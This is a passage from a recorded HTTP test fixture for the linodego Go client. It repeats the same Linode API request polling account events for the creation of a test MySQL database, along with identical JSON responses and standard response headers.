events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - 